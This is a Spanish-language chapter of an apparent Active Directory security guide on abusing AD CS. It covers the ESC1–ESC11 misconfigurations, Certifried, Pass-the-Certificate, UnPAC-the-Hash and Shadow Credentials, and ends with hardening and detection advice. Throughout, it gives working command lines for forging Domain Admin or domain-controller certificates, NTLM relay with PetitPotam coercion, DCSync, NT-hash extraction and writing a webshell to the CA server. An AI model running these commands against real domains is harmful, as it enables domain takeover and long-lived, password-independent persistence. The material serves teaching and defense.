Panorama#

Active Directory Certificate Services (AD CS) es la PKI (Public Key Infrastructure, la infraestructura de clave pública) del dominio: el rol de Windows Server que emite y gestiona los certificados con los que usuarios y máquinas se autentican, cifran archivos o firman código. Es un componente de confianza por diseño, y ahí está el problema. Un certificado de cliente es una credencial de pleno derecho: mediante PKINIT —la extensión de Kerberos que permite el arranque de sesión con criptografía de clave pública en lugar de una contraseña— un certificado válido se canjea por un TGT (Ticket Granting Ticket), y con ese TGT el titular es, a todos los efectos, el usuario que el certificado representa. Si un atacante consigue que la autoridad certificadora (CA, Certificate Authority) emita un certificado a nombre de un administrador de dominio, obtiene Domain Admin sin tocar una sola contraseña.

Esa es la razón por la que AD CS se convirtió, desde la investigación de SpecterOps de 2021, en una de las rutas preferidas a la toma del dominio. Es una ruta limpia, porque un certificado es autenticación legítima y su uso no dispara las alarmas de un volcado de credenciales; y es una ruta persistente, porque un certificado sobrevive al cambio de contraseña del usuario que representa. El cheat-sheet de origen lo dice sin rodeos: “estos certificados seguirán siendo usables incluso si el usuario o la máquina resetea su contraseña”. Un certificado robado o forjado concede acceso durante toda su vigencia —años— e inmune a la rotación de contraseñas, la forma de persistencia sigilosa por excelencia.

SpecterOps catalogó las configuraciones débiles de AD CS con la nomenclatura ESC (ESCalation), de ESC1 a ESC11. Conviene no memorizarlas como once ataques distintos sino verlas convergiendo sobre un eje: casi todas buscan que la CA emita un certificado cuyo Subject Alternative Name (SAN, el campo que declara la identidad del titular) sea un usuario privilegiado que el atacante no controla. El punto de partida es el mapa del dominio de 4.1 · Reconocimiento de AD —BloodHound ya modela las aristas de AD CS— y, para la ruta sin credenciales, la coerción y el relay de 4.3 · NTLM: captura, relay y coerción. El punto de llegada es un TGT privilegiado y, con frecuencia, el DCSync de 4.5 · Credential dumping.

flowchart TD
  A["Enumerar AD CS\n(Certify / certipy find)"] --> B{"¿Qué misconfiguración\naparece?"}
  B -->|"Plantilla con\nENROLLEE_SUPPLIES_SUBJECT"| C["ESC1: pedir cert\ncon SAN = Domain Admin"]
  B -->|"Flag EDITF_...SAN2\nen la CA"| D["ESC6: SAN arbitrario\nen cualquier plantilla"]
  B -->|"Control sobre la\nplantilla o la CA"| E["ESC4 / ESC7:\nreconfigurar → ESC1"]
  B -->|"Web Enrollment\npor HTTP"| F["ESC8: coerción (4.3)\n+ relay al endpoint"]
  C --> G["Certificado a nombre\nde un DA"]
  D --> G
  E --> G
  F --> H["Certificado del DC"]
  G --> I["PKINIT: cert → TGT\n(Rubeus asktgt /certipy auth)"]
  H --> I
  I --> J["Autenticado como el titular\n→ DCSync (4.5)"]

Enumerar la PKI: hallar plantillas vulnerables antes que el adversario#

La primera acción, tanto en ofensiva como en defensa, es inventariar la PKI y sus plantillas para ver qué ESC están presentes. Las mismas herramientas sirven a ambos lados: Certify (en Windows) y certipy (en Linux) recorren las plantillas de certificado, sus EKU (Extended Key Usage, los usos que el certificado habilita) y sus permisos de enrolamiento, y marcan las combinaciones explotables. Correr esta enumeración uno mismo es la defensa primaria, porque convierte una superficie invisible en una lista concreta de plantillas a corregir.

# Descubrir AD CS y plantillas vulnerables (defensa y ofensiva usan lo mismo) crackmapexec ldap dominio.local -u usuario -p 'contraseña' -M adcs # Windows Certify.exe find /vulnerable # Linux — genera además un grafo para BloodHound certipy find -u usuario@dominio.local -p 'contraseña' -dc-ip <IP-DC> -vulnerable -stdout certipy find -u usuario@dominio.local -p 'contraseña' -dc-ip <IP-DC> -bloodhound

El SAN arbitrario: la falla central de la familia ESC#

La mayoría de los ESC son variaciones sobre una sola idea: conseguir que el certificado emitido declare un Subject Alternative Name que el atacante elige, en vez del que le corresponde. Si el SAN dice administrator@dominio.local, el certificado autentica como el administrador. Lo que cambia entre un ESC y otro es cómo se logra que la CA acepte ese SAN falso.

ESC1 es el caso canónico. Una plantilla de autenticación de cliente marcada con el flag ENROLLEE_SUPPLIES_SUBJECT deja que el solicitante fije el subject —y con él el SAN— libremente. Si además el atacante tiene permiso de enrolamiento sobre esa plantilla, pide un certificado especificando el SAN de un Domain Admin y se autentica como él. Basta una sola solicitud.

# ESC1 — pedir un cert con SAN arbitrario y canjearlo por un TGT # Windows Certify.exe request /ca:dc.dominio.local\dominio-DC-CA /template:VulnTemplate /altname:Administrator Rubeus.exe asktgt /user:Administrator /certificate:C:\Temp\cert.pfx /ptt # Linux certipy req 'dominio.local/john:Passw0rd!@ca.dominio.local' -ca 'dominio-DC-CA' \ -template VulnTemplate -upn administrator@dominio.local certipy auth -pfx administrator.pfx -dc-ip <IP-DC>

El resto de la familia del SAN son variantes del mismo desenlace por otras vías:

  • ESC2 — la plantilla tiene un EKU Any Purpose (2.5.29.37.0), que la habilita para autenticación de cliente entre otros usos; se explota igual que ESC1.
  • ESC3 — la plantilla concede el EKU Enrollment Agent, que autoriza a pedir certificados en nombre de otros. El atacante obtiene primero su certificado de agente y luego solicita, con él, un certificado a nombre de un administrador.
  • ESC4 — el atacante no controla una plantilla vulnerable, pero sí tiene permiso de escritura (WriteProperty) sobre alguna plantilla. La reconfigura para agregarle ENROLLEE_SUPPLIES_SUBJECT, la explota como ESC1, y la restaura para borrar rastros. Es ESC1 fabricado a demanda.
  • ESC6 — el flag EDITF_ATTRIBUTESUBJECTALTNAME2 está activo en la CA misma. Ese flag habilita el SAN definido por el usuario en cualquier plantilla, no solo en las mal configuradas, de modo que convierte a toda plantilla de autenticación en un ESC1.
  • ESC7 — el atacante tiene permisos de gestión sobre la CA (ManageCA o Manage Certificates). Con ellos puede habilitar el flag de ESC6, aprobar sus propias solicitudes pendientes, o —lo más grave— escribir un webshell en el servidor de AD CS, es decir ejecución remota de código sobre la CA.
# ESC7 — con ManageCA: habilitar SAN arbitrario, o RCE por webshell Certify.exe setconfig /enablesan /restart Certify.exe request /ca:SERVER\ca-name /template:User /altname:Administrator # ManageCA → RCE sobre el servidor de la CA Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
La técnica del SAN arbitrario tiene un rasgo que la hace especialmente peligrosa como persistencia: el certificado emitido no está atado a la contraseña de la víctima. Un equipo azul que ante un compromiso resetea las contraseñas de las cuentas privilegiadas —el reflejo correcto contra Pass-the-Hash o Kerberoasting— no cierra esta puerta. El certificado sigue siendo válido y usable hasta que expira o se revoca explícitamente. La respuesta a un incidente de AD CS debe incluir la revocación de certificados, no solo la rotación de contraseñas.

La ruta sin credenciales: coerción y relay a AD CS (ESC8 y ESC11)#

Los ESC anteriores parten de una cuenta de dominio con permiso de enrolamiento. ESC8 elimina incluso ese requisito: no necesita ninguna credencial, solo la combinación de coerción y relay de 4.3 · NTLM. La condición es que la CA exponga su interfaz de enrolamiento web (Web Enrollment) sobre HTTP, un endpoint que por defecto no exige channel binding. El atacante coacciona a un controlador de dominio con PetitPotam para que se autentique contra él, y con ntlmrelayx retransmite esa autenticación al endpoint web de la CA para enrolar un certificado del propio DC. Con ese certificado pide un TGT del DC por PKINIT, y con el TGT del DC ejecuta DCSync: dominio completo, desde cero credenciales.

# ESC8 — relay del DC coaccionado hacia el Web Enrollment → cert del DC → TGT → DCSync # 1) Listener de relay apuntando al endpoint web de la CA ntlmrelayx.py -t http://<IP-CA>/certsrv/certfnsh.asp -smb2support --template DomainController # 2) Coerción del DC (MS-EFSRPC) hacia el atacante PetitPotam.py -d dominio.local -u usuario -p 'contraseña' <IP-atacante> <IP-DC> # 3) Canjear el cert del DC por un TGT e inyectarlo, luego DCSync Rubeus.exe asktgt /user:DC01$ /certificate:<b64-cert> /ptt mimikatz # lsadump::dcsync /user:krbtgt

Existen múltiples implementaciones de la misma cadena —desde el misc::efs de mimikatz con kekeo hasta el certipy relay, pasando por krbrelayx (relay de Kerberos) y ADCSPwn— pero la lógica es siempre la misma: una autenticación de máquina coaccionada, relayeada a un endpoint de enrolamiento que la acepta.

ESC11 es la variante para cuando el Web Enrollment por HTTP no está presente pero sí lo está el endpoint RPC de enrolamiento (ICPR, la interfaz ICertPassage). Si ese endpoint no exige cifrado del canal (“Enforce Encryption for Requests” deshabilitado), la misma autenticación relayeada sirve para enrolar un certificado por RPC. Requiere los forks de certipy/impacket que implementan el modo ICPR.

# ESC11 — relay al endpoint RPC de enrolamiento sin cifrado certipy find -u usuario@<IP-DC> -p '...' -dc-ip <IP-DC> -stdout # buscar "Enforce Encryption: Disabled" ntlmrelayx.py -t rpc://<IP-CA> -rpc-mode ICPR -icpr-ca-name dominio-DC-CA -smb2support
ESC8 es, junto con la cadena coerción + relay a LDAP + RBCD de 4.3 · NTLM, una de las dos rutas “de cuenta cero a Domain Admin” más limpias que existen contra un dominio con AD CS. No craquea nada, no vuelca ninguna credencial, y el certificado resultante deja persistencia inmune a la rotación de contraseñas. Deshabilitar el Web Enrollment por HTTP o exigirle EPA (Extended Protection for Authentication, el channel binding) cierra la ruta de raíz.

ESC9: el enlace débil entre certificado e identidad#

ESC9 explota una plantilla marcada como sin extensión de seguridad (CT_FLAG_NO_SECURITY_EXTENSION), es decir, un certificado que no incrusta el object SID del titular. Cuando el DC no exige que el SID del certificado coincida con el de la cuenta, la identidad del certificado se resuelve por su userPrincipalName (UPN). Si el atacante tiene GenericWrite sobre una cuenta que puede enrolar en esa plantilla, cambia temporalmente el UPN de esa cuenta al de un administrador, pide el certificado, y luego restaura el UPN original: el certificado resultante autentica como el administrador.

# ESC9 — abusar de GenericWrite + UPN mutable, sin object SID en el cert certipy shadow auto -username john@dominio.local -p 'Passw0rd' -account jane # tomar control de jane certipy account update -username john -password 'Passw0rd' -user jane -upn Administrator certipy req -username jane@dominio.local -hashes ... -ca dominio-DC-CA -template ESC9 # UPN=Administrator certipy account update -username john -password 'Passw0rd' -user jane -upn jane@dominio.local # restaurar certipy auth -pfx administrator.pfx -domain dominio.local # → NT hash de Administrator

ESC9 es exactamente el escenario que la mitigación StrongCertificateBindingEnforcement=2 cierra, al obligar a que el SID incrustado en el certificado coincida con el de la cuenta autenticada — se retoma en la defensa.

Certifried: forjar el certificado de un DC (CVE-2022-26923)#

Certifried (CVE-2022-26923) no depende de ninguna plantilla mal configurada, sino de un fallo en cómo AD CS resolvía la identidad de las cuentas de máquina. Un usuario de dominio corriente puede crear cuentas de máquina (hasta el límite de MachineAccountQuota) y editar el atributo dNSHostName de las cuentas que crea. El atacante crea una cuenta de máquina propia y le fija como dNSHostName el nombre DNS de un controlador de dominio. Al pedir un certificado con la plantilla Machine para su cuenta, la CA resuelve la identidad por ese dNSHostName manipulado y emite un certificado válido como el DC.

# Certifried — cuenta de máquina propia con el dNSHostName de un DC → cert del DC certipy account create 'dominio.local/usuario:contraseña@dc.dominio.local' -user 'cve' -dns dc.dominio.local certipy req 'dominio.local/cve$:CVEPassword1234*@<IP-CA>' -template Machine -dc-ip <IP-DC> certipy auth -pfx dc.pfx -dc-ip <IP-DC>

Microsoft corrigió Certifried incrustando el object SID en los certificados y exigiendo su verificación, mediante los mismos parches de mayo de 2022 que introdujeron StrongCertificateBindingEnforcement.

PKINIT como palanca transversal: Pass-the-Certificate y UnPAC-the-Hash#

Todos los ESC terminan en lo mismo: un archivo .pfx con un certificado y su clave privada. Convertir ese certificado en autenticación de Kerberos es Pass-the-Certificate: se presenta el certificado al DC por PKINIT y se recibe un TGT del titular. Es el paso final común a toda la familia y a Shadow Credentials.

# Pass-the-Certificate — cert → TGT por PKINIT Rubeus.exe asktgt /user:"objetivo" /certificate:cert.pfx /password:"..." /ptt # Windows gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass "..." "dominio.local/objetivo" salida.ccache # Linux certipy auth -pfx cert.pfx -dc-ip <IP-DC>

UnPAC-the-Hash exprime un dato adicional del mismo intercambio. Durante el arranque de sesión PKINIT, el DC devuelve el NT hash del usuario dentro del PAC (Privilege Attribute Certificate, la estructura donde Kerberos transporta las autorizaciones), cifrado con la clave de sesión de la respuesta AS. Al recuperar esa clave, el atacante extrae el NT hash del usuario a partir únicamente de su certificado. Así, un certificado no solo da un TGT efímero sino también el hash reutilizable de la víctima —el que sirve para Pass-the-Hash de 4.2 · Kerberos y 4.5 · Credential dumping— cerrando el círculo entre la ruta de certificados y la de credenciales.

# UnPAC-the-Hash — del cert, recuperar el NT hash del usuario Rubeus.exe asktgt /getcredentials /user:"objetivo" /certificate:"B64_CERT" # Windows gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass "..." "dominio.local/objetivo" out.ccache getnthash.py -key '<AS-REP key>' dominio.local/objetivo # Linux

Shadow Credentials: persistencia por PKINIT vía un atributo escribible#

Shadow Credentials invierte la lógica: en lugar de pedir un certificado a la CA, el atacante inyecta su propia clave pública en el objetivo. El atributo msDS-KeyCredentialLink de un objeto de AD almacena las claves públicas con las que ese objeto puede autenticarse por PKINIT (es el mecanismo detrás de Windows Hello for Business). Quien pueda escribir en el msDS-KeyCredentialLink de una cuenta le agrega una clave que controla, y desde ese momento se autentica por PKINIT como esa cuenta y obtiene su TGT o su NT hash —sin conocer su contraseña y sin cambiarla.

La asimetría clave está en quién puede escribir ese atributo: las cuentas de usuario no pueden editar su propio msDS-KeyCredentialLink, pero las cuentas de máquina sí (mientras no haya ya una clave presente). Combinado con la escritura de permisos que concede el relay o con la coerción de 4.3 · NTLM, Shadow Credentials permite tomar workstations y controladores de dominio. Exige un DC de nivel 2016 o superior y AD CS presente en el dominio (la infraestructura PKINIT).

# Shadow Credentials — inyectar una clave en msDS-KeyCredentialLink del objetivo Whisker.exe add /target:"objetivo$" /domain:dominio.local /dc:dc.dominio.local # Windows pywhisker.py -d dominio.local -u usuario -p 'contraseña' --target 'objetivo$' --action add # Linux # Vía relay: escribir el atributo con una autenticación coaccionada (ver 4.3) ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'

Como arista de grafo, Shadow Credentials aparece modelada en BloodHound (ver 4.1 · Reconocimiento de AD): cualquier control de escritura sobre msDS-KeyCredentialLink es una arista AddKeyCredentialLink que lleva directo a la toma del objeto.

Defensa y detección#

La defensa de AD CS empieza por una postura activa, no por una regla de detección: correr Certify o certipy find uno mismo, con periodicidad, para descubrir y remediar las plantillas y la configuración de CA vulnerables antes que el adversario. La mayoría de los ESC desaparecen cerrando su misconfiguración de origen.

  • Endurecer las plantillas y la CA. Quitar ENROLLEE_SUPPLIES_SUBJECT (el flag ESS) de las plantillas de autenticación mata ESC1; remover EDITF_ATTRIBUTESUBJECTALTNAME2 de la CA (certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2) mata ESC6; restringir los permisos ManageCA/Manage Certificates a administradores de PKI cierra ESC7; exigir aprobación manual del gestor de certificados para plantillas sensibles añade un control humano.
  • Cerrar la ruta sin credenciales. Deshabilitar el Web Enrollment por HTTP, o exigirle EPA (Extended Protection for Authentication, el channel binding que ata la sesión TLS a la autenticación), anula ESC8; habilitar “Enforce Encryption for Requests” en el endpoint RPC anula ESC11. Ambas son, en el fondo, el mismo principio que el signing de 4.3 · NTLM: impedir que una autenticación se retransmita a un canal distinto del original.
  • Enlazar fuerte certificado e identidad. StrongCertificateBindingEnforcement=2 en los DC obliga a que el object SID incrustado en el certificado coincida con el de la cuenta autenticada, lo que cierra ESC9 y neutraliza Certifried en los dominios ya parcheados. Es la contramedida estructural del enlace débil entre certificado y cuenta.
  • Detección en telemetría. La CA registra cada solicitud y emisión de certificado en los Event ID 4886 (solicitud recibida) y 4887 (certificado emitido). La señal de alto valor es un SAN que no coincide con el solicitante: un certificado emitido a nombre de un administrador pero pedido por una cuenta corriente es la firma directa de ESC1/ESC6. La escritura sobre el atributo msDS-KeyCredentialLink (Event ID 5136, modificación de objeto de directorio) delata Shadow Credentials casi sin falsos positivos, porque fuera de Windows Hello for Business ese atributo rara vez cambia. Y una autenticación PKINIT anómala (Event ID 4768, emisión de TGT, con información de certificado) señala un Pass-the-Certificate en curso.

El mapeo defensivo consolidado de toda la superficie de Active Directory —las reglas SIEM, la correlación de estos eventos con la línea base y los playbooks de respuesta, incluida la revocación de certificados que un incidente de AD CS obliga a ejecutar además de la rotación de contraseñas— se desarrolla en 4.9 · Defensa de AD.

Referencias#

  • red-infra/ad-attacks/cap-07 — AD CS (ESC1–ESC11), Certifried, Pass-the-Certificate, UnPAC-the-Hash y Shadow Credentials.
  • SpecterOps — Certified Pre-Owned: Abusing Active Directory Certificate Services (Will Schroeder y Lee Christensen, 2021), el estudio que definió la taxonomía ESC.
  • CVE-2022-26923 — Certifried: elevación de privilegios por manipulación de dNSHostName en AD CS.
  • MITRE ATT&CK — T1649 Steal or Forge Authentication Certificates.
  • Microsoft — KB5014754, Certificate-based authentication changes (StrongCertificateBindingEnforcement) y guía de endurecimiento del Web Enrollment (EPA).